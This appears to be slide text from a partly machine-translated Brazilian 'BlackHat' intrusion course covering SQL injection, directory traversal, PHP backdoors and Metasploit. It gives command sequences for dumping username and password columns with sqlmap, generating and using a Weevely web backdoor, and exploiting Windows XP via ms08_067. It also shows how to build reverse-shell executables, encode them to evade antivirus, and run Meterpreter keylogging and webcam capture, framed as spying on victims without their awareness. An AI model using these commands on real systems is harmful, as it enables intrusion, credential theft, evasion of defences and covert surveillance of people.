What do we have for today?

Class 2–Training: Invasion Techniques–BlackHat

Topics of Today: SQL Injection

What is SQL Injection?
SQL Injection x Blind SQL
Working with SQLMap
Exercise: Putting SQLMap into practice
Attack: Directory Traversal
What is the Directory Traversal attack?
Exercise: Attacking with Directory Traversal
Capturing password and bank password with DT
Backdoors
What are backdoors?
Creating Backdoors in Java
Creating Backdoors in PHP
Metasploit
Knowing Metasploit
•Performing Basic Attacks with Metasploit
Installing a keylogger without the victim's awareness
Creating executable backdoor
Encoding backdoor
Attacking Windows XP
Attacking Windows 7
SQL Injection x Blind SQL
Class 2–Training: Invasion Techniques - BlackHat
SQL Injection x Blind SQL
Aula 2–Treinamento: Técnicas de Invasão - BlackHat

SQL Injection, better known by the American term SQL Injection, is

a type of security threat that takes advantage of vulnerabilities in systems that
interact with databases via SQL. SQL injection occurs when the
an attacker is able to insert a series of SQL instructions into a query
(query) through the manipulation of the data inputs of an application
SQL Injection vs Blind SQL
Lesson 2 - Training: Invasion Techniques - BlackHat

What is the difference between SQL Injection and Blind SQL Injection?
SQLMap
Lesson 2 - Training: Invasion Techniques - BlackHat

SQLMAP

Local: /pentest/database/sqlmap
./[Link] --url "[Link] --[options]
SQLMap
Class 2 - Training: Invasion Techniques - BlackHat

Sqlmap is an open source tool for penetration testing that automates the
process of detection and exploitation of vulnerabilities to SQL Injection, it is written
in Python and has support for both GNU Linux and Windows.

SQLMap also offers functions to detect and exploit the

vulnerabilities to SQLI, it can also try to "dominate" the system of
database if possible.
SQLMap
Class 2 - Training: Invasion Techniques - BlackHat

--help
Show the options of SQLMAP

--current-db
Presents the current database
Example:./[Link] --url "[Link] --current-db

--banner
Take the DBMS Banner
Example:./[Link] --url "[Link] -b

--dbs
List the databases of the DBMS
Example:./[Link] --url "[Link] --dbs

DBMS: "Database Management System", database management system

SQLMap
Class 2 - Training: Invasion Techniques - BlackHat

--tables
Displays the tables of the selected database
Example: ./[Link] --url "[Link]
-D acuart --tables

--columns
Displays the columns of the selected table
Example: ./[Link] --url "[Link]
-D acuart -T users --columns

--dump
Extract the information from the selected columns
Example: ./[Link] --url "[Link]
-D acuart -T users -C 'uname,pass' --dump
SQLMap
Lesson 2–Training: Invasion Techniques - BlackHat

--current-user
It presents the user that the page is using to connect to the database.
Example: ./[Link] --url "[Link] --current-user

--is-dba
Check if the current user is an administrator of the Bank
Example: ./[Link] --url "[Link] --is-dba

--users
List all users
Example: ./[Link] --url "[Link] --users

--search
Search the database for what you are looking for, it can be a table, bank or column.
./[Link] --url "[Link] --search-C 'pass'
SQLMap: Exercise
Class 2–Training: Invasion Techniques - BlackHat

Select a target for testing

SqlInjection - HAVIJ
Class 2 - Training: Invasion Techniques - BlackHat
Directory Transversal
Class 2 - Training: Invasion Techniques - BlackHat
Directory Traversal
Class 2 - Training: Invasion Techniques - BlackHat

Directory Traversal is when a website or application reads a file from the server.
It is from the computer, but it allows the user to identify which file will be read.

The program or website should perform a check to see if the user has
permission to read that file, but does not do so, allowing the file to be
lido.

The failure gets this name because, in most cases, the program or site wants
read only files from a specific directory, but allows the user
put ../ in the file path. ../ or ..\ means "directory above". With "../"
sufficient, the program will be reading files at the root of the disk.
Try accessing the file "C:\Program Files\..", for example.

The website of a Brazilian telecommunications company had a breach of this

type that allowed reading the file from the server where the passwords were stored
access.
Directory Traversal: Exercise
Class 2–Training: Invasion Techniques - BlackHat

Select a target for testing

Backdoor
Class 2 - Training: Invasion Techniques - BlackHat
Backdoor
Session 2 - Training: Hacking Techniques - BlackHat

Backdoor (also known as a back entrance) is a flaw of

security that can exist in a computer program or system
operational, which may allow a hacker to invade the system so that
he can gain total control of the machine. Many crackers use
a backdoor to install computer viruses or other programs
malicious, known as malware.
Backdoor–Java–0day
Class 2–Training: Invasion Techniques - BlackHat
Backdoor - Weevely
Class 2 - Training: Invasion Techniques - BlackHat

Weevely

Local: /pentest/backdoors/web/weevely
./weevely <url> <password> <command>
 Backdoor - Weevely
Class 2 - Training: Invasion Techniques - BlackHat

Weevely is a discreet PHP backdoor that simulates a telnet connection. It is an essential tool.
to be injected after the exploitation of a vulnerability in a web application. With a
basic permission to upload PHP files, you just need to generate and upload the
PHP "server" code on the target, and locally executing Weevely transmits shell commands.

Weevely is a Python program that will allow you to generate a PHP 'server' code in order to
infect a web server and take control of it. After a successful exploitation of a
web application, through examples, RFI, LFI or MySQL LOAD DATA INFILE, you just need
upload the PHP 'server' code to the target, and your local Weevely python script will
transmit orders.

All commands are sent through data hidden in HTTP and these commands are
using a dynamic function probe of the system to bypass security restrictions of
PHP. Weevely tries to circumvent the PHP settings that disable sensitive functions that
execute external programs, disable in [Link].

Weevely is included in Backtrack and Backbox and other Linux distributions for testing
penetration
Backdoor - Weevely
Class 2 - Training: Invasion Techniques - BlackHat

Use:
Generating the Backdoor
Create a backdoor with the password eSecurity in the /tmp folder
# weevely generate eSecurity /tmp/[Link]

Access the shell using the password eSecurity

weevely [Link] eSecurity
Metasploit
Class 2 - Training: Invasion Techniques - BlackHat
Metasploit
Class 2 - Training: Invasion Techniques - BlackHat

Metasploit update:
msfupdate

Metasploit Compatibilities
Windows Native
Linux, BSD, MAC OS X
["Nokia 770","N900","N800"]
Zaurus (Various Models)
Android
iPhone
Motorola A1200
Metasploit
Class 2–Training: Invasion Techniques - BlackHat

Exploit
It is a way through which an attacker can exploit a vulnerability within a
System
Payload
An embedded code in an exploit used for post-exploitation definition. It is
the action that will be executed after the exploration
Shellcode
It is the Payload code that is injected into the compromised system through the
exploit.
Module
Small pieces of scripts that can be used by Metasploit to
perform certain operations
Listener
Component that awaits a return connection post-invasion. Useful for
reverse connection
Metasploit
Class 2–Training: Invasion Techniques - BlackHat

MSFConsole
It is the Metasploit console
msfconsole

Metasploit update
# msfupdate
snv update
Metasploit
Class 2–Training: Invasion Techniques - BlackHat

MSFcli
It is an interface to execute exploits, auxiliary modules without the need.
to start the console
# msfcli windows/smb/ms08_067_netapi RHOST=[Link]
PAYLOAD=windows/shell/bind_tcp E
Metasploit
Class 2–Training: Invasion Techniques - BlackHat

MSFPayload:
Tool that generates executable Shell code. It can be generated in C, VB, Python.
Ruby...
Syntax:
# ./msfpayload windows/shell_reverse_tcp O
// Traz as opções do payload selecionado
# ./msfpayload windows/shell_reverse_tcp LHOST=[Link] X > [Link]
Create an exe file that will establish a reverse connection when executed.
Metasploit
Class 2–Training: Invasion Techniques - BlackHat

MSFencode
The tool encodes a payload to bypass IDS, Antivirus, and similar systems.
Syntax
# ./msfpayload windows/shell_reverse_tcp LHOST=[Link]
R | msfencode -c 15 -e x86/shikata_ga_nai -a x86 -t raw |
msfencode -c 3 -e x86/call4_dword_xor -t exe > [Link]
Create an exe file that, when executed, will perform a
reverse connection.

R = Raw
T = Formed from the output,
raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exesmall,
elf, macho, vba, vba-exe, vbs, loop-vbs, asp, war
A = File architecture
C = Number of times the encode will pass through the file
E = Encoder to be used
Metasploit
Class 2–Training: Invasion Techniques - BlackHat

Metasploit Community Edition

Metasploit framework version with the Metasploit PRO interface

Metasploit PRO
Professional version of Metasploit, Paid!

Armitage
A graphical interface that was not created by the creators of Metasploit
Metasploit
Class 2–Training: Invasion Techniques - BlackHat

Exploiting Windows XP

# msfconsole
# use windows/smb/ms08_067_netapi
# set RHOST [Link]
set PAYLOAD windows/meterpreter/reverse_tcp
# set LHOST [Link]
exploit
Attacking Windows 7
Class 2 - Training: Invasion Techniques - BlackHat

Creating Backdoor
#msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 x > [Link]
#msfconsole
#use exploit/multi/handler
#set payload windows/meterpreter/reverse_tcp
#set lhost IP
#exploit

Open [Link] on Windows 7

Use Meterpreter for post-exploitation
Experiment commands, pwd, getuid, ps, migrate 123, keyscan_start afterwards
keyscan_dump and close with keyscan_stop and finally the command webcam_snap.
Metasploit - Encoding Backdoor
Class 2 - Training: Invasion Techniques - BlackHat

MSFencode
The tool encodes a payload to bypass IDS, antivirus, and similar systems.
Syntax
# ./msfpayload windows/shell_reverse_tcp LHOST=[Link]
R | msfencode -c 15 -e x86/shikata_ga_nai -a x86 -t raw |
msfencode -c 3 -e x86/call4_dword_xor -t exe > [Link]
//Creates an exe file that will execute when run
reverse connection.
That's enough for today
Class 2 - Training: Invasion Techniques - BlackHat

[Link]

E-mail:[Link]@[Link]

Twitter: @esecuritybr and @desafiohacker

Skype: desafiohacker

[Link]/academiahacker